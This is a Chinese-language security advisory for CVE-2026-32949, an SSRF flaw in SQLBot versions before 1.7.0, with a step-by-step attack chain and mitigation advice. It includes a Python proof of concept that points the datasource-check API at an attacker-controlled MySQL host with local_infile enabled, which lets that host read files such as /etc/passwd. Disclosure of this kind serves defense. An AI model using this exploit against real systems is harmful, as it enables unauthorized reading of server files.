IPBUF安全漏洞报告
English
CVE-2026-32949 CVSS 7.5 高危

CVE-2026-32949 SQLBot SSRF漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32949
漏洞类型
SSRF (Server-Side Request Forgery)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SQLBot

相关标签

SSRFSQLBotArbitrary File ReadCVE-2026-32949RCE

漏洞概述

SQLBot是一个基于大语言模型和RAG的智能数据查询系统。在1.7.0版本之前,该系统存在服务器端请求伪造(SSRF)漏洞。攻击者可以通过配置恶意的MySQL数据源参数,利用/api/v1/datasource/check接口,诱使后端服务器连接攻击者控制的恶意MySQL服务。在握手过程中,通过发送恶意指令,攻击者能够读取服务器上的任意敏感文件(如/etc/passwd),造成信息泄露风险。

技术细节

该漏洞的核心在于SQLBot后端在验证外部数据源连接时,未对MySQL协议的握手过程进行严格的安全限制。攻击者首先通过/api/v1/datasource/check接口提交一个伪造的数据源配置,特意将JDBC参数设置为extraJdbc="local_infile=1"。当系统后端尝试建立连接进行连通性测试时,它会连接到攻击者控制的恶意MySQL服务器。在MySQL协议握手期间,恶意服务器利用客户端的信任机制,发送LOAD DATA LOCAL INFILE指令请求读取本地文件。由于此前开启了local_infile选项,受害者的SQLBot服务器会解析该请求,将指定路径(如/etc/passwd或应用配置文件)的文件内容传输给攻击者。这一过程利用了SSRF漏洞引导服务器主动连接恶意节点,进而通过MySQL协议特性实现服务器端任意文件读取。

攻击链分析

STEP 1
1. 环境准备
攻击者搭建一个恶意的MySQL服务器,该服务器配置为在客户端连接握手时响应LOAD DATA LOCAL INFILE命令。
STEP 2
2. 发起SSRF请求
攻击者向SQLBot的/api/v1/datasource/check接口发送POST请求,在请求体中配置数据源参数,将host指向恶意MySQL服务器,并设置extraJdbc="local_infile=1"。
STEP 3
3. 建立连接
SQLBot后端接收到请求后,尝试连接攻击者指定的MySQL服务器以验证数据源连通性。
STEP 4
4. 触发文件读取
在MySQL握手过程中,恶意服务器发送LOAD DATA LOCAL INFILE命令请求读取本地文件。由于local_infile被启用,SQLBot后端会读取指定文件(如/etc/passwd)。
STEP 5
5. 数据回传
SQLBot后端将读取到的文件内容通过MySQL协议发送回攻击者控制的恶意服务器,完成信息窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable SQLBot instance target_url = "http://vulnerable-sqlbot-host/api/v1/datasource/check" # Attacker's controlled MySQL server address attacker_mysql_host = "attacker-controlled-server.com" # Payload to trigger the SSRF and file read # The key is the 'extraJdbc' parameter enabling local_infile payload = { "name": "exploit_ds", "host": attacker_mysql_host, "port": 3306, "username": "root", "password": "", "database": "test", "extraJdbc": "local_infile=1" } try: # Send the request to check the data source response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] SQLBot is now connecting to the rogue MySQL server.") print("[+] Ensure your rogue server sends 'LOAD DATA LOCAL INFILE' during handshake.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

SQLBot < 1.7.0

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或网络策略限制SQLBot服务器对外部MySQL服务器的访问,特别是禁止连接到非受信IP。同时,可考虑临时禁用数据源自动检查功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表